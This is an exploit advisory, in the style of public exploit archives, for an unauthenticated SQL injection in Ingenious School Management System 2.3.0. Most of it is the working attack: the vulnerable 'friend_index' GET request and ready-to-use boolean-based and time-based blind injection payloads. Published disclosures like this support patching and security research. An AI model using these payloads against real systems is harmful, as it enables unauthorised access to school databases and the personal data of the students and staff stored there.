Ingenious School Management System 2.3.0 SQL Injection

`# Exploit Title: Ingenious School Management System 2.3.0 - SQL injection  
# Date: 01.11.2017  
# Vendor Homepage: http://iloveprograming.com/  
# Software Link: https://www.codester.com/items/4945/ingenious-school-management-system  
# Demo: http://iloveprograming.com/view/login.php  
# Version: 2.3.0  
# Category: Webapps  
# Tested on: Kali Linux 2.0  
# Exploit Author: Giulio Comi  
# Contact: https://<http://ihsan.net/>linkedin.com/in/giuliocomi  
#Description  
  
This vulnerability allows an attacker to inject SQL commands (without authentication) in 'friend_index' GET parameter.  
  
# Proof of Concept:  
  
http://localhost/view/friend_profile.php?friend_type=Student&friend_index=[SQL_injection_payload]  
  
  
# Vulnerable Parameter: friend_index (GET)  
  
  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: friend_type=Student&friend_index=1' AND 2576=2576 AND 'YJeg'='YJeg  
Vector: AND [INFERENCE]  
  
Type: AND/OR time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind  
Payload: friend_type=Student&friend_index=1' AND SLEEP(5) AND 'rliO'='rliO  
Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])  
`